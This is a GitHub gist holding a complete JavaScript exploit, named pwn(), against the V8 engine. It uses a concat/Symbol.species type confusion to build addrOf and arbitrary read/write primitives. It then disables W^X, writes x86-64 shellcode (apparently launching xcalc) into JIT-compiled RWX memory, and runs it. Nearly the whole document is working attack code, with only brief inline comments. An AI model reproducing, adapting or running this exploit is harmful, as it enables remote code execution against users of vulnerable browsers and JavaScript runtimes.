Created
August 14, 2021 06:37
-
-
Save cd789/bbc6a6fea4c22c10d7f3a57472f4a235 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Helpers { | |
constructor() { | |
this.addrof_LO = new Array(1048577); | |
this.buf = new ArrayBuffer(8); | |
this.f64 = new Float64Array(this.buf); | |
this.f32 = new Float32Array(this.buf); | |
this.u32 = new Uint32Array(this.buf); | |
this.u64 = new BigUint64Array(this.buf); | |
this.state = {}; | |
this.addrof_LO[0] = {}; | |
} | |
ftoil(f) { | |
this.f64[0] = f; | |
return this.u32[0] | |
} | |
ftoih(f) { | |
this.f64[0] = f; | |
return this.u32[1] | |
} | |
itof(i) { | |
this.u32[0] = i; | |
return this.f32[0]; | |
} | |
f64toi64(f) { | |
this.f64[0] = f; | |
return this.u64[0]; | |
} | |
i64tof64(i) { | |
this.u64[0] = i; | |
return this.f64[0]; | |
} | |
clean() { | |
this.state.fake_object.fill(0); | |
} | |
printhex(val) { | |
console.log('0x' + val.toString(16)); | |
} | |
add_ref(object) { | |
this.state[this.i++] = object; | |
} | |
compact() { | |
new ArrayBuffer(0x7fe00000); | |
new ArrayBuffer(0x7fe00000); | |
new ArrayBuffer(0x7fe00000); | |
new ArrayBuffer(0x7fe00000); | |
new ArrayBuffer(0x7fe00000); | |
} | |
} | |
function pwn() { | |
var helper = new Helpers(); | |
var buf = new ArrayBuffer(0x1000); | |
var dataview = new DataView(buf); | |
var corrupted_array; | |
function information_leak() { | |
class LeakTypedArray extends Float64Array {} | |
let lta = new LeakTypedArray(1024); | |
// This is required to avoid an exception being thrown | |
// here: | |
lta.__defineSetter__('length', function() {}) | |
// Create a Literal JSArray | |
var a = [ | |
/* hole */ | |
, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9 // HOLEY_DOUBLE_ELEMENTS | |
]; | |
// We'll be using this in create_fake_object | |
var fake_object = new Float32Array(16); | |
// We'll be using this for our addrOf primitive | |
var addrof_array = [{}, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]; | |
/* | |
Set the `.constructor` property here instead of creating a class | |
so we can continue using Literal Double arrays | |
class MyArray extends Array { | |
static get [Symbol.species]() { | |
return function() { | |
return p; | |
} | |
}; | |
} | |
*/ | |
const C = new Function(); | |
C.__defineGetter__(Symbol.species, () => { | |
return function() { | |
return lta; | |
} | |
}); | |
a.constructor = C; | |
/* | |
Set the index on the Literal Array's prototype | |
to an object. | |
DONT USE THE ARRAY `a` ITSELF HERE OR IT WILL | |
be converted to HOLEY_ELEMENTS. | |
*/ | |
Array.prototype[0] = { | |
valueOf: function() { | |
a.length = 1; | |
new ArrayBuffer(0x7fe00000); // Trigger a mark-sweep GC | |
delete Array.prototype[0]; | |
} | |
}; | |
var c = Array.prototype.concat.call(a); | |
/* | |
prop map | |
0xe00 [ 42424242 41414141 ] | |
length elements | |
0xe08 [ 44444444 43434343 ] | |
*/ | |
helper.state.map = helper.ftoil(lta[1]); | |
helper.state.properties = helper.ftoih(lta[1]); | |
helper.state.elements = helper.ftoil(lta[2]); | |
helper.state.length = helper.ftoih(lta[2]); | |
/* | |
Calculate offsets to the Float32Array | |
that will hold our fake JSArray | |
*/ | |
helper.state.fake_object = fake_object; | |
helper.state.addrof_array = addrof_array; | |
helper.state.fake_object_address = helper.state.elements + 0xa0; | |
helper.state.fake_object_bytearray_address = helper.state.elements + 0x60; | |
helper.state.addrof_array_addr = helper.state.elements + 0xe4; | |
helper.add_ref(a); | |
} | |
function create_fake_object() { | |
class LeakTypedArray extends Float64Array {} | |
let lta = new LeakTypedArray(1024); | |
lta.__defineSetter__('length', function() {}) | |
var a = [ | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, /* hole */ , 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS | |
]; | |
/* | |
Create a a Float32Array that will store the pointer | |
of our Fake `JSArray` one index behind /\* hole *\/ | |
after `a` is shortened by the `valueOf` callback | |
*/ | |
var fake_jsarray_object_ptr = new Float32Array(16); | |
fake_jsarray_object_ptr[0] = helper.itof(helper.state.fake_object_bytearray_address); | |
const C = new Function(); | |
C.__defineGetter__(Symbol.species, () => { | |
return function() { | |
return lta; | |
} | |
}); | |
a.constructor = C; | |
/* | |
Fake JSArray | |
proto map | |
0xe00 [ 42424242 41414141 ] | |
length elements | |
0xe08 [ 44444444 43434343 ] | |
*/ | |
helper.state.fake_object[0] = helper.itof(helper.state.map); | |
helper.state.fake_object[1] = helper.itof(helper.state.properties); | |
helper.state.fake_object[2] = helper.itof(helper.state.elements); | |
helper.state.fake_object[3] = helper.itof(helper.state.length); | |
Array.prototype[19] = { | |
valueOf: function() { | |
a.length = 1; | |
new ArrayBuffer(0x7fe00000); | |
Object.prototype.valueOf = function() { | |
corrupted_array = this; // grab our fake `JSArray` | |
delete Object.prototype.valueOf; // clean up this valueOf | |
throw 'bailout'; // throw to escape Object::ToNumber | |
return 42; | |
} | |
delete Array.prototype[19]; | |
return 1.1; | |
} | |
}; | |
var c = Array.prototype.concat.call(a); | |
} | |
function addrOf(object) { | |
helper.state.fake_object[2] = helper.itof(helper.state.addrof_array_addr); | |
helper.state.addrof_array[0] = object; | |
return helper.ftoil(corrupted_array[0]); | |
} | |
function arbRead(where) { | |
// First 8 bytes an FixedArray is it's map | |
helper.state.fake_object[2] = helper.itof(where - 8); | |
return helper.f64toi64(corrupted_array[0]); | |
} | |
function arbWrite(where, what) { | |
helper.state.fake_object[2] = helper.itof(where - 8); | |
corrupted_array[0] = helper.i64tof64(what); | |
} | |
function stableAddrOf(object) { | |
var offset = (helper.state.addrof_LO_addr - 1) + 8; | |
helper.addrof_LO[0] = object; | |
return Number(dataview.getBigUint64(offset, true) & 0xffffffffn); | |
} | |
function stableRead32(where, tagged = true) { | |
var a = stableRead64(where, tagged) & 0xffffffffn; | |
return Number(a); | |
} | |
function stableRead64(where, tagged = true) { | |
var offset = where - tagged; | |
return dataview.getBigUint64(offset, true); | |
} | |
function stableWrite(where, what, tagged = true) { | |
var offset = where - tagged; | |
dataview.setBigUint64(offset, BigInt(what), true); | |
} | |
function jit(a) { | |
var sum = 0; | |
if (a[1] == 15) { | |
sum += 5; | |
} | |
for (var i = 0; i < a[1]; i++) { | |
sum += 10; | |
} | |
return a[0] + sum; | |
} | |
function compile() { | |
for (var i = 0; i < 200000; i++) { | |
jit([1, 15]); | |
} | |
} | |
information_leak(); | |
try { | |
create_fake_object(); | |
} catch (e) {} | |
/* Stage 1: GC may crash addrOf at this point */ | |
var u8_on_heap = new Uint8Array(64); | |
var u8_on_heap_addr = addrOf(u8_on_heap); | |
var isolate_root = arbRead(u8_on_heap_addr + 0x28) & 0xffff00000000n; | |
let lo_array_addr = addrOf(helper.addrof_LO); | |
// Point the ArrayBuffer to isolate root (0xXXXX00000000) | |
// and give it the length of the entire page | |
var buf_addr = addrOf(buf); | |
var dv_addr = addrOf(dataview); | |
arbWrite(buf_addr + 0x14, isolate_root); | |
arbWrite(dv_addr + 0x18, 0xffffffffn); | |
helper.clean(); | |
/* Stage 2: GC is safe after this point */ | |
helper.state.addrof_LO_addr = stableRead32(lo_array_addr + 8); | |
// Set `write_protect_code_memory_` to false (disable W^X) | |
stableWrite(0xa070, 0, false); | |
// Compile a JIT function, which will create RWX memory | |
compile(); | |
var jit_function_addr = stableAddrOf(jit); | |
var RWX_PAGE = stableRead32(jit_function_addr + 0x18, true); | |
var assembly_offset = RWX_PAGE + 0x40; | |
var shellcode = [0x010101010101b848n, 0x62792eb848500101n, 0x0431480101626d60n, 0x2f7273752fb84824n, 0x68e78948506e6962n, 0x012434810101303bn, 0x534944b848010101n, 0xd231503d59414c50n, 0x52e201485a086a52n, 0x010101b848e28948n, 0xb848500101010101n, 0x0101626d6062792en, 0x752fb84824043148n, 0x31506e69622f7273n, 0xe601485e086a56f6n, 0x0f583b6ae6894856n, 0x0000000090909005n]; | |
for (var i = 0; i < shellcode.length; i++) { | |
stableWrite(assembly_offset + (8 * i), shellcode[i], true); | |
} | |
jit([1, 15]); | |
} | |
pwn(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment